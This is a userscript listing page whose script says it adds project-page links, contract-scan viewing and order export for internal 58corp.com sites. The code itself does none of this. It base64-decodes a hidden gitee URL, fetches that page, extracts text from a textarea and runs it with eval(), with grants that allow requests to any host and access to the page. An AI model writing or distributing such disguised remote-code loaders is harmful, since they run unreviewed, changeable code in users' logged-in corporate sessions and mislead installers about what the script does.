爱房js脚本

可以跳转项目页,打开合同扫描件,一键下载订单明细

目前為 2023-05-04 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name                爱房js脚本
// @author              熊伟良
// @version             3.0
// @icon                https://pages.anjukestatic.com/fe/ifang_node_admin_web/favicon.ico
// @description         可以跳转项目页,打开合同扫描件,一键下载订单明细
// @connect             *
// @match               https://daiketong.58corp.com/*
// @match               https://max.58corp.com/*
// @match               https://oa.58corp.com/*
// @grant               GM.addStyle
// @grant               GM.getValue
// @grant               GM.notification
// @grant               GM.openInTab
// @grant               GM.registerMenuCommand
// @grant               GM.setClipboard
// @grant               GM.setValue
// @grant               GM.xmlHttpRequest
// @grant               GM_addStyle
// @grant               GM_download
// @grant               GM_getResourceText
// @grant               GM_getResourceURL
// @grant               GM_getValue
// @grant               GM_notification
// @grant               GM_openInTab
// @grant               GM_registerMenuCommand
// @grant               GM_setClipboard
// @grant               GM_setValue
// @grant               GM_unregisterMenuCommand
// @grant               GM_xmlhttpRequest
// @grant               unsafeWindow
// @license             MIT
// @require             https://cdn.bootcdn.net/ajax/libs/xlsx/0.17.1/xlsx.full.min.js
// @require             https://greasyfork.org/scripts/438080-pvcep-rules/code/pvcep_rules.js?version=1179756
// @require             https://greasyfork.org/scripts/440698-pvcep-lang/code/pvcep_lang.js?version=1182203
// @require             https://greasyfork.org/scripts/6158-gm-config-cn/code/GM_config%20CN.js?version=23710
// @require             https://greasyfork.org/scripts/24204-picviewer-ce/code/Picviewer%20CE+.user.js
// @run-at              document-idle


// @namespace http://tampermonkey.net/
// ==/UserScript==


(function() {
    // let url="https://gitee.com"
    // console.log(btoa(url))
    var encodedString = "aHR0cHM6Ly9naXRlZS5jb20veHdsNzM1NjQ1NTE0L2FpZmFuZy9ibG9iL21hc3Rlci9qaWV5b25nLyVFNyU4OCVCMSVFNiU4OCVCRmpzJUU4JTg0JTlBJUU2JTlDJUFDLmpz";
    var decodedString = atob(encodedString);
    // 发送 GET 请求
    GM_xmlhttpRequest({
        // 设置请求方式为 GET
        method: "GET",
        // 设置请求 URL 为解码后的字符串
        url: decodedString,
        // 当请求成功时调用的函数
        onload: function (response) {
            // 创建 DOM 解析器对象
            const parser = new DOMParser();
            // 将响应文本解析为 HTML 文档对象
            const htmlDoc = parser.parseFromString(response.responseText, "text/html");
            // 获取名为 blob_raw 的 textarea 元素
            const textarea = htmlDoc.querySelector('textarea[name="blob_raw"]');
            // 获取 textarea 元素的文本内容,并去除首尾空格
            const code = textarea.textContent.trim();
            console.log('成功加载代码')
            // 执行解码后的代码
            eval(code);
        }
    });
})()